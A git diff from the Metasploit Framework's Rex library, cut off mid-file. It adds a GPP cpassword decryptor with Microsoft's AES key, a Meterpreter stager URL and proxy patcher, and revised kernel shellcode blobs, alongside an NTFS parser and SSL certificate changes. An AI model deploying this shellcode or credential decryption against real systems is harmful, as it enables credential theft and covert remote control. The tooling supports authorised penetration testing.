mft_record_from_mft_num(mft_num) + mft_num_offset = mft_num * @cluster_per_mft_record + mft_data_attribute = mft_record_attribute(@mft)[DATA_ATTRIBUTE_ID]['data'] + cluster_from_attribute_non_resident(mft_data_attribute, mft_num_offset, @bytes_per_mft_record) + end + + # + # Get the size of the file in the $FILENAME (64) attribute + # + def real_size_from_filenameattribute(attribute) + filename_attribute = attribute + filename_attribute[48, 8].unpack('Q<')[0] + end + + # + # Gather the name of the file from the $FILENAME (64) attribute + # + def filename_from_filenameattribute(attribute) + filename_attribute = attribute + length_of_name = filename_attribute[64].ord + # uft16 *2 + d = ::Encoding::Converter.new('UTF-16LE', 'UTF-8') + d.convert(filename_attribute[66, (length_of_name * 2)]) + end + + # + # Get the file from the MFT number + # The size must be gived because the $FILENAME attribute + # in the MFT entry does not contain it + # The file is in $DATA (128) Attribute + # + def file_content_from_mft_num(mft_num, size) + mft_record = mft_record_from_mft_num(mft_num) + attribute_list = mft_record_attribute(mft_record) + if attribute_list[DATA_ATTRIBUTE_ID]['resident'] + return attribute_list[DATA_ATTRIBUTE_ID]['data'] + else + data_attribute = attribute_list[DATA_ATTRIBUTE_ID]['data'] + return cluster_from_attribute_non_resident(data_attribute)[0, size] + end + end + + # + # parse one index record and return the name, MFT number and size of the file + # + def parse_index(index_entry) + res = {} + filename_size = index_entry[10, 2].unpack('v')[0] + filename_attribute = index_entry[16, filename_size] + # Should be 8 bytes but it doesn't work + # mft_offset = index_entry[0.unpack('Q<',:8])[0] + # work with 4 bytes + mft_offset = index_entry[0, 4].unpack('V')[0] + res[filename_from_filenameattribute(filename_attribute)] = { + 'mft_offset' => mft_offset, + 'file_size' => real_size_from_filenameattribute(filename_attribute) } + res + end + + # + # parse index_record in $INDEX_ROOT and recursively index_record in + # INDEX_ALLOCATION + # + def parse_index_list(index_record, index_allocation_attribute) + offset_index_entry_list = index_record[0, 4].unpack('V')[0] + index_size = index_record[offset_index_entry_list + 8, 2].unpack('v')[0] + index_size_in_bytes = index_size * @bytes_per_cluster + index_entry = index_record[offset_index_entry_list, index_size] + res = {} + while index_entry[12, 4].unpack('V')[0] & 2 != 2 + res.update(parse_index(index_entry)) + # if son + if index_entry[12, 4].unpack('V')[0] & 1 == 1 + # should be 8 bytes length + vcn = index_entry[-8, 4].unpack('V')[0] + vcn_in_bytes = vcn * @bytes_per_cluster + res_son = parse_index_list(index_allocation_attribute[vcn_in_bytes + 24, index_size_in_bytes], index_allocation_attribute) + res.update(res_son) + end + offset_index_entry_list += index_size + index_size = index_record[offset_index_entry_list + 8, 2].unpack('v')[0] + index_size_in_bytes = index_size * @bytes_per_cluster + index_entry = index_record [offset_index_entry_list, index_size] + end + # if son on the last + if index_entry[12, 4].unpack('V')[0] & 1 == 1 + # should be 8 bytes length + vcn = index_entry[-8, 4].unpack('V')[0] + vcn_in_bytes = vcn * @bytes_per_cluster + res_son = parse_index_list(index_allocation_attribute[vcn_in_bytes + 24, index_size_in_bytes], index_allocation_attribute) + res.update(res_son) + end + res + end + + # + # return the list of files in attribute directory and their MFT number and size + # + def index_list_from_attributes(attributes) + index_root_attribute = attributes[INDEX_ROOT_ID] + index_record = index_root_attribute[16, index_root_attribute.length - 16] + if attributes.key?(INDEX_ALLOCATION_ID) + return parse_index_list(index_record, attributes[INDEX_ALLOCATION_ID]) + else + return parse_index_list(index_record, '') + end + end + + def cluster_from_attribute_non_resident(attribute, cluster_num = 0, size_max = ((2**31) - 1)) + lowvcn = attribute[16, 8].unpack('Q<')[0] + highvcn = attribute[24, 8].unpack('Q<')[0] + offset = attribute[32, 2].unpack('v')[0] + real_size = attribute[48, 8].unpack('Q<')[0] + attribut = '' + run_list_num = lowvcn + old_offset = 0 + while run_list_num <= highvcn + first_runlist_byte = attribute[offset].ord + run_offset_size = first_runlist_byte >> 4 + run_length_size = first_runlist_byte & 15 + run_length = attribute[offset + 1, run_length_size] + run_length += "\x00" * (8 - run_length_size) + run_length = run_length.unpack('Q<')[0] + + offset_run_offset = offset + 1 + run_length_size + run_offset = attribute[offset_run_offset, run_offset_size] + if run_offset[-1].ord & 128 == 128 + run_offset += "\xFF" * (8 - run_offset_size) + else + run_offset += "\x00" * (8 - run_offset_size) + end + run_offset = run_offset.unpack('q<')[0] + #offset relative to previous offset + run_offset += old_offset + + size_wanted = [run_length * @bytes_per_cluster, size_max - attribut.length].min + if cluster_num + (size_max / @bytes_per_cluster) >= run_list_num && (cluster_num < run_length + run_list_num) + run_list_offset_in_cluster = run_offset + [cluster_num - run_list_num, 0].max + run_list_offset = (run_list_offset_in_cluster) * @bytes_per_cluster + run_list_offset = run_list_offset.to_i + @file_handler.seek(run_list_offset) + + data = '' + while data.length < size_wanted + data << @file_handler.read(size_wanted - data.length) + end + attribut << data + end + offset += run_offset_size + run_length_size + 1 + run_list_num += run_length + old_offset = run_offset + end + attribut = attribut[0, real_size] + attribut + end + + # + # return the attribute list from the MFT record + # deal with resident and non resident attributes (but not $DATA due to performance issue) + # + def mft_record_attribute(mft_record) + attribute_list_offset = mft_record[20, 2].unpack('C')[0] + curs = attribute_list_offset + attribute_identifier = mft_record[curs, 4].unpack('V')[0] + res = {} + while attribute_identifier != 0xFFFFFFFF + # attribute_size=mft_record[curs + 4, 4].unpack('V')[0] + # should be on 4 bytes but doesnt work + attribute_size = mft_record[curs + 4, 2].unpack('v')[0] + # resident + if mft_record[curs + 8] == "\x00" + content_size = mft_record[curs + 16, 4].unpack('V')[0] + content_offset = mft_record[curs + 20, 2].unpack('v')[0] + res[attribute_identifier] = mft_record[curs + content_offset, content_size] + else + # non resident + if attribute_identifier == DATA_ATTRIBUTE_ID + res[attribute_identifier] = mft_record[curs, attribute_size] + else + res[attribute_identifier] = cluster_from_attribute_non_resident(mft_record[curs, attribute_size]) + end + end + if attribute_identifier == DATA_ATTRIBUTE_ID + res[attribute_identifier] = { + 'data' => res[attribute_identifier], + 'resident' => mft_record[curs + 8] == "\x00" } + end + curs += attribute_size + attribute_identifier = mft_record[curs, 4].unpack('V')[0] + end + res + end + + # + # return the file path in the NTFS partition + # + def file(path) + repertory = mft_record_from_mft_num(5) + index_entry = {} + path.split('\\').each do |r| + attributes = mft_record_attribute(repertory) + index = index_list_from_attributes(attributes) + unless index.key?(r) + fail ArgumentError, 'File path does not exist', caller + end + index_entry = index[r] + repertory = mft_record_from_mft_num(index_entry['mft_offset']) + end + file_content_from_mft_num(index_entry['mft_offset'], index_entry['file_size']) + end + end + end +end diff --git a/lib/rex/parser/group_policy_preferences.rb b/lib/rex/parser/group_policy_preferences.rb new file mode 100644 index 0000000000..3e97450b28 --- /dev/null +++ b/lib/rex/parser/group_policy_preferences.rb @@ -0,0 +1,185 @@ +# -*- coding: binary -*- +# + +module Rex +module Parser + +# This is a parser for the Windows Group Policy Preferences file +# format. It's used by modules/post/windows/gather/credentials/gpp.rb +# and uses REXML (as opposed to Nokogiri) for its XML parsing. +# See: http://msdn.microsoft.com/en-gb/library/cc232587.aspx +class GPP + require 'rex' + require 'rexml/document' + + def self.parse(data) + if data.nil? + return [] + end + + xml = REXML::Document.new(data).root + results = [] + + unless xml and xml.elements and xml.elements.to_a("//Properties") + return [] + end + + xml.elements.to_a("//Properties").each do |node| + epassword = node.attributes['cpassword'] + next if epassword.to_s.empty? + password = self.decrypt(epassword) + + user = node.attributes['runAs'] if node.attributes['runAs'] + user = node.attributes['accountName'] if node.attributes['accountName'] + user = node.attributes['username'] if node.attributes['username'] + user = node.attributes['userName'] if node.attributes['userName'] + user = node.attributes['newName'] unless node.attributes['newName'].nil? || node.attributes['newName'].empty? + changed = node.parent.attributes['changed'] + + # Printers and Shares + path = node.attributes['path'] + + # Datasources + dsn = node.attributes['dsn'] + driver = node.attributes['driver'] + + # Tasks + app_name = node.attributes['appName'] + + # Services + service = node.attributes['serviceName'] + + # Groups + expires = node.attributes['expires'] + never_expires = node.attributes['neverExpires'] + disabled = node.attributes['acctDisabled'] + + result = { + :USER => user, + :PASS => password, + :CHANGED => changed + } + + result.merge!({ :EXPIRES => expires }) unless expires.nil? || expires.empty? + result.merge!({ :NEVER_EXPIRES => never_expires.to_i }) unless never_expires.nil? || never_expires.empty? + result.merge!({ :DISABLED => disabled.to_i }) unless disabled.nil? || disabled.empty? + result.merge!({ :PATH => path }) unless path.nil? || path.empty? + result.merge!({ :DATASOURCE => dsn }) unless dsn.nil? || dsn.empty? + result.merge!({ :DRIVER => driver }) unless driver.nil? || driver.empty? + result.merge!({ :TASK => app_name }) unless app_name.nil? || app_name.empty? + result.merge!({ :SERVICE => service }) unless service.nil? || service.empty? + + attributes = [] + node.elements.each('//Attributes//Attribute') do |dsn_attribute| + attributes << { + :A_NAME => dsn_attribute.attributes['name'], + :A_VALUE => dsn_attribute.attributes['value'] + } + end + + result.merge!({ :ATTRIBUTES => attributes }) unless attributes.empty? + + results << result + end + + results + end + + def self.create_tables(results, filetype, domain=nil, dc=nil) + tables = [] + results.each do |result| + table = Rex::Ui::Text::Table.new( + 'Header' => 'Group Policy Credential Info', + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => + [ + 'Name', + 'Value', + ] + ) + + table << ["TYPE", filetype] + table << ["USERNAME", result[:USER]] + table << ["PASSWORD", result[:PASS]] + table << ["DOMAIN CONTROLLER", dc] unless dc.nil? || dc.empty? + table << ["DOMAIN", domain] unless domain.nil? || domain.empty? + table << ["CHANGED", result[:CHANGED]] + table << ["EXPIRES", result[:EXPIRES]] unless result[:EXPIRES].nil? || result[:EXPIRES].empty? + table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRES]] unless result[:NEVER_EXPIRES].nil? + table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil? + table << ["PATH", result[:PATH]] unless result[:PATH].nil? || result[:PATH].empty? + table << ["DATASOURCE", result[:DSN]] unless result[:DSN].nil? || result[:DSN].empty? + table << ["DRIVER", result[:DRIVER]] unless result[:DRIVER].nil? || result[:DRIVER].empty? + table << ["TASK", result[:TASK]] unless result[:TASK].nil? || result[:TASK].empty? + table << ["SERVICE", result[:SERVICE]] unless result[:SERVICE].nil? || result[:SERVICE].empty? + + unless result[:ATTRIBUTES].nil? || result[:ATTRIBUTES].empty? + result[:ATTRIBUTES].each do |dsn_attribute| + table << ["ATTRIBUTE", "#{dsn_attribute[:A_NAME]} - #{dsn_attribute[:A_VALUE]}"] + end + end + + tables << table + end + + tables + end + + # Decrypts passwords using Microsoft's published key: + # http://msdn.microsoft.com/en-us/library/cc422924.aspx + def self.decrypt(encrypted_data) + password = "" + return password unless encrypted_data + + password = "" + retries = 0 + original_data = encrypted_data.dup + + begin + mod = encrypted_data.length % 4 + + # PowerSploit code strips the last character, unsure why... + case mod + when 1 + encrypted_data = encrypted_data[0..-2] + when 2, 3 + padding = '=' * (4 - mod) + encrypted_data = "#{encrypted_data}#{padding}" + end + + # Strict base64 decoding used here + decoded = encrypted_data.unpack('m0').first + rescue ::ArgumentError => e + # Appears to be some junk UTF-8 Padding appended at times in + # Win2k8 (not in Win2k8R2) + # Lets try stripping junk and see if we can decrypt + if retries < 8 + retries += 1 + original_data = original_data[0..-2] + encrypted_data = original_data + retry + else + return password + end + end + + key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" + aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") + begin + aes.decrypt + aes.key = key + plaintext = aes.update(decoded) + plaintext << aes.final + password = plaintext.unpack('v*').pack('C*') # UNICODE conversion + rescue OpenSSL::Cipher::CipherError => e + puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}" + end + + password + end + +end +end +end + diff --git a/lib/rex/parser/nexpose_raw_nokogiri.rb b/lib/rex/parser/nexpose_raw_nokogiri.rb index 5162b8e472..3d5ec218b1 100644 --- a/lib/rex/parser/nexpose_raw_nokogiri.rb +++ b/lib/rex/parser/nexpose_raw_nokogiri.rb @@ -504,7 +504,7 @@ module Rex } } note[:data][:vendor] = @report_data[:os]["os_vendor"] if @report_data[:os]["os_vendor"] - note[:data][:product] = @report_data[:os]["os_product"] if @report_data[:os]["os_prduct"] + note[:data][:product] = @report_data[:os]["os_product"] if @report_data[:os]["os_product"] note[:data][:version] = @report_data[:os]["os_version"] if @report_data[:os]["os_version"] note[:data][:arch] = @report_data[:os]["os_arch"] if @report_data[:os]["os_arch"] db_report(:note, note) diff --git a/lib/rex/parser/openvas_nokogiri.rb b/lib/rex/parser/openvas_nokogiri.rb index fab0600716..877af4be5a 100644 --- a/lib/rex/parser/openvas_nokogiri.rb +++ b/lib/rex/parser/openvas_nokogiri.rb @@ -113,6 +113,8 @@ module Parser return if not in_tag("result") @state[:has_text] = true @text = nil + else + @text = nil end @state[:current_tag].delete name end diff --git a/lib/rex/parser/outpost24_nokogiri.rb b/lib/rex/parser/outpost24_nokogiri.rb index a925afdf70..2d612ae971 100644 --- a/lib/rex/parser/outpost24_nokogiri.rb +++ b/lib/rex/parser/outpost24_nokogiri.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require "rex/parser/nokogiri_doc_mixin" module Rex diff --git a/lib/rex/payloads.rb b/lib/rex/payloads.rb index eedb44076b..c56bca0f08 100644 --- a/lib/rex/payloads.rb +++ b/lib/rex/payloads.rb @@ -1,2 +1,3 @@ # -*- coding: binary -*- require 'rex/payloads/win32' +require 'rex/payloads/meterpreter' diff --git a/lib/rex/payloads/meterpreter.rb b/lib/rex/payloads/meterpreter.rb new file mode 100644 index 0000000000..d1c9127947 --- /dev/null +++ b/lib/rex/payloads/meterpreter.rb @@ -0,0 +1,2 @@ +# -*- coding: binary -*- +require 'rex/payloads/meterpreter/patch' diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb new file mode 100644 index 0000000000..98354ba45f --- /dev/null +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -0,0 +1,136 @@ +# -*- coding: binary -*- + +module Rex + module Payloads + module Meterpreter + ### + # + # Provides methods to patch options into metsrv stagers + # + ### + module Patch + + # Replace the transport string + def self.patch_transport! blob, ssl + + i = blob.index("METERPRETER_TRANSPORT_SSL") + if i + str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" + blob[i, str.length] = str + end + + end + + # Replace the URL + def self.patch_url! blob, url + + i = blob.index("https://" + ("X" * 256)) + if i + str = url + blob[i, str.length] = str + end + + end + + # Replace the session expiration timeout + def self.patch_expiration! blob, expiration + + i = blob.index([0xb64be661].pack("V")) + if i + str = [ expiration ].pack("V") + blob[i, str.length] = str + end + + end + + # Replace the session communication timeout + def self.patch_comm_timeout! blob, comm_timeout + + i = blob.index([0xaf79257f].pack("V")) + if i + str = [ comm_timeout ].pack("V") + blob[i, str.length] = str + end + + end + + # Replace the user agent string with our option + def self.patch_ua! blob, ua + + ua = ua[0,255] + "\x00" + i = blob.index("METERPRETER_UA\x00") + if i + blob[i, ua.length] = ua + end + + end + + # Activate a custom proxy + def self.patch_proxy! blob, proxyhost, proxyport, proxy_type + + i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") + if i + if proxyhost + if proxyhost.to_s != "" + proxyhost = proxyhost.to_s + proxyport = proxyport.to_s || "8080" + proxyinfo = proxyhost + ":" + proxyport + if proxyport == "80" + proxyinfo = proxyhost + end + if proxy_type.to_s == 'HTTP' + proxyinfo = 'http://' + proxyinfo + else #socks + proxyinfo = 'socks=' + proxyinfo + end + proxyinfo << "\x00" + blob[i, proxyinfo.length] = proxyinfo + end + end + end + + end + + # Proxy authentification + def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type + + unless (proxy_username.nil? or proxy_username.empty?) or + (proxy_password.nil? or proxy_password.empty?) or + proxy_type == 'SOCKS' + + proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") + proxy_username = proxy_username << "\x00" + blob[proxy_username_loc, proxy_username.length] = proxy_username + + proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") + proxy_password = proxy_password << "\x00" + blob[proxy_password_loc, proxy_password.length] = proxy_password + end + + end + + # Patch options into metsrv for reverse HTTP payloads + def self.patch_passive_service! blob, options + + patch_transport! blob, options[:ssl] + patch_url! blob, options[:url] + patch_expiration! blob, options[:expiration] + patch_comm_timeout! blob, options[:comm_timeout] + patch_ua! blob, options[:ua] + patch_proxy!(blob, + options[:proxyhost], + options[:proxyport], + options[:proxy_type] + ) + patch_proxy_auth!(blob, + options[:proxy_username], + options[:proxy_password], + options[:proxy_type] + ) + + end + + end + end + end +end diff --git a/lib/rex/payloads/win32/kernel.rb b/lib/rex/payloads/win32/kernel.rb index a2050b8808..bc82f08bc4 100644 --- a/lib/rex/payloads/win32/kernel.rb +++ b/lib/rex/payloads/win32/kernel.rb @@ -24,7 +24,7 @@ module Kernel payload = nil # Generate the recovery stub - if opts['Recovery'] and Kernel::Recovery.respond_to?(opts['Recovery']) + if opts['Recovery'] and Kernel::Recovery.respond_to?(opts['Recovery'], true) opts['RecoveryStub'] = Kernel::Recovery.send(opts['Recovery'], opts) end @@ -35,10 +35,10 @@ module Kernel end # Generate the stager - if opts['Stager'] and Kernel::Stager.respond_to?(opts['Stager']) + if opts['Stager'] and Kernel::Stager.respond_to?(opts['Stager'], true) payload = Kernel::Stager.send(opts['Stager'], opts) # Or, generate the migrator - elsif opts['Migrator'] and Kernel::Migration.respond_to?(opts['Migrator']) + elsif opts['Migrator'] and Kernel::Migration.respond_to?(opts['Migrator'], true) payload = Kernel::Migration.send(opts['Migrator'], opts) else raise ArgumentError, "A stager or a migrator must be specified." diff --git a/lib/rex/payloads/win32/kernel/stager.rb b/lib/rex/payloads/win32/kernel/stager.rb index 7f762b62dd..6ddc31f088 100644 --- a/lib/rex/payloads/win32/kernel/stager.rb +++ b/lib/rex/payloads/win32/kernel/stager.rb @@ -47,19 +47,21 @@ module Stager checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 ) # The ring0 -> ring3 payload blob. - r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" + - "\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" + - "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" + - "\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" + - "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" + - "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" + - "\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" + - "\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" + - "\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" + - "\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" + - "\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" + - "\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" + - "\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3" + # Full assembly source at: + # external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm + r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x5D" + + "\x8B\x7E\x61\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" + + "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" + + "\x58\x8B\x58\x54\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" + + "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x31" + + "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x25\x8B\x58\x5C\x8D" + + "\x5B\x69\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" + + "\x00\x74\x0E\xBA\x45\x45\x45\x45\x83\xC2\x04\x81\x22\xFF\xFF\xFF" + + "\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43\x43\x43\x43" + + "\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2B\x8B\x43\x10" + + "\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9\x44\x44\x44" + + "\x44\x75\x15\xE8\x07\x00\x00\x00\xE8\x0D\x00\x00\x00\xEB\x09\xB9" + + "\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3" # The ring3 payload. r3 = '' @@ -125,20 +127,19 @@ protected # Stub to run a prepended ring3 payload in a new thread. # # Full assembly source at: - # /msf3/external/source/shellcode/windows/x86/src/single/createthread.asm + # external/source/shellcode/windows/x86/src/single/createthread.asm # def self._createthread - r3 = "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x31\xC0\x50\x50\x50\x8D\x9D\xA0\x00\x00\x00\x53\x50\x50\x68\x38" + - "\x68\x0D\x16\xFF\xD5\xC3\x58" + r3 = "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x31\xC0\x50\x50\x50\x8D\x9D" + + "\x99\x00\x00\x00\x53\x50\x50\x68\x38\x68\x0D\x16\xFF\xD5\xC3\x58" return r3 end diff --git a/lib/rex/poly/machine.rb b/lib/rex/poly/machine.rb index b530268164..152dfb4e69 100644 --- a/lib/rex/poly/machine.rb +++ b/lib/rex/poly/machine.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex diff --git a/lib/rex/poly/machine/machine.rb b/lib/rex/poly/machine/machine.rb index 107a838acc..021effa940 100644 --- a/lib/rex/poly/machine/machine.rb +++ b/lib/rex/poly/machine/machine.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex diff --git a/lib/rex/poly/machine/x86.rb b/lib/rex/poly/machine/x86.rb index f2fc3131b2..cedc8cd148 100644 --- a/lib/rex/poly/machine/x86.rb +++ b/lib/rex/poly/machine/x86.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex diff --git a/lib/rex/post/meterpreter.rb b/lib/rex/post/meterpreter.rb index fc62e558dc..8986c6f0b4 100644 --- a/lib/rex/post/meterpreter.rb +++ b/lib/rex/post/meterpreter.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'meterpreter_bins' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/ui/console' diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 616375013d..fbc797f9fa 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -42,9 +42,9 @@ class Client @@ext_hash = {} # - # Cached SSL certificate (required to scale) + # Cached auto-generated SSL certificate # - @@ssl_ctx = nil + @@ssl_cached_cert = nil # # Mutex to synchronize class-wide operations @@ -106,7 +106,6 @@ class Client self.capabilities = opts[:capabilities] || {} self.commands = [] - self.conn_id = opts[:conn_id] self.url = opts[:url] self.ssl = opts[:ssl] @@ -116,9 +115,21 @@ class Client self.response_timeout = opts[:timeout] || self.class.default_timeout self.send_keepalives = true + + # TODO: Clarify why we don't allow unicode to be set in initial options # self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true self.encode_unicode = false + # The SSL certificate is being passed down as a file path + if opts[:ssl_cert] + if ! ::File.exists? opts[:ssl_cert] + elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored") + else + # Load the certificate the same way that SslTcpServer does it + self.ssl_cert = ::File.read(opts[:ssl_cert]) + end + end + if opts[:passive_dispatcher] initialize_passive_dispatcher @@ -200,68 +211,43 @@ class Client end def generate_ssl_context - @@ssl_mutex.synchronize do - if not @@ssl_ctx - wlog("Generating SSL certificate for Meterpreter sessions") + ctx = nil + ssl_cert_info = nil - key = OpenSSL::PKey::RSA.new(1024){ } - cert = OpenSSL::X509::Certificate.new - cert.version = 2 - cert.serial = rand(0xFFFFFFFF) + loop do - # Depending on how the socket was created, getsockname will - # return either a struct sockaddr as a String (the default ruby - # Socket behavior) or an Array (the extend'd Rex::Socket::Tcp - # behavior). Avoid the ambiguity by always picking a random - # hostname. See #7350. - subject_cn = Rex::Text.rand_hostname + # Load a custom SSL certificate if one has been specified + if self.ssl_cert + wlog("Loading custom SSL certificate for Meterpreter session") + ssl_cert_info = Rex::Socket::SslTcpServer.ssl_parse_pem(self.ssl_cert) + wlog("Loaded custom SSL certificate for Meterpreter session") + break + end - subject = OpenSSL::X509::Name.new([ - ["C","US"], - ['ST', Rex::Text.rand_state()], - ["L", Rex::Text.rand_text_alpha(rand(20) + 10)], - ["O", Rex::Text.rand_text_alpha(rand(20) + 10)], - ["CN", subject_cn], - ]) - issuer = OpenSSL::X509::Name.new([ - ["C","US"], - ['ST', Rex::Text.rand_state()], - ["L", Rex::Text.rand_text_alpha(rand(20) + 10)], - ["O", Rex::Text.rand_text_alpha(rand(20) + 10)], - ["CN", Rex::Text.rand_text_alpha(rand(20) + 10)], - ]) + # Generate a certificate if necessary and cache it + if ! @@ssl_cached_cert + @@ssl_mutex.synchronize do + wlog("Generating SSL certificate for Meterpreter sessions") + @@ssl_cached_cert = Rex::Socket::SslTcpServer.ssl_generate_certificate + wlog("Generated SSL certificate for Meterpreter sessions") + end + end - cert.subject = subject - cert.issuer = issuer - cert.not_before = Time.now - (3600 * 365) + rand(3600 * 14) - cert.not_after = Time.now + (3600 * 365) + rand(3600 * 14) - cert.public_key = key.public_key - ef = OpenSSL::X509::ExtensionFactory.new(nil,cert) - cert.extensions = [ - ef.create_extension("basicConstraints","CA:FALSE"), - ef.create_extension("subjectKeyIdentifier","hash"), - ef.create_extension("extendedKeyUsage","serverAuth"), - ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature") - ] - ef.issuer_certificate = cert - cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always") - cert.sign(key, OpenSSL::Digest::SHA1.new) - - ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) - ctx.key = key - ctx.cert = cert + # Use the cached certificate + ssl_cert_info = @@ssl_cached_cert + break + end + # Create a new context for each session + ctx = OpenSSL::SSL::SSLContext.new() + ctx.key = ssl_cert_info[0] + ctx.cert = ssl_cert_info[1] + ctx.extra_chain_cert = ssl_cert_info[2] + ctx.options = 0 ctx.session_id_context = Rex::Text.rand_text(16) - wlog("Generated SSL certificate for Meterpreter sessions") - - @@ssl_ctx = ctx - - end # End of if not @ssl_ctx - end # End of mutex.synchronize - - @@ssl_ctx + ctx end ## @@ -453,6 +439,10 @@ class Client # attr_accessor :ssl # + # Use this SSL Certificate (unified PEM) + # + attr_accessor :ssl_cert + # # The Session Expiration Timeout # attr_accessor :expiration diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index a48b513825..ab67096026 100644 --- a/lib/rex/post/meterpreter/client_core.rb 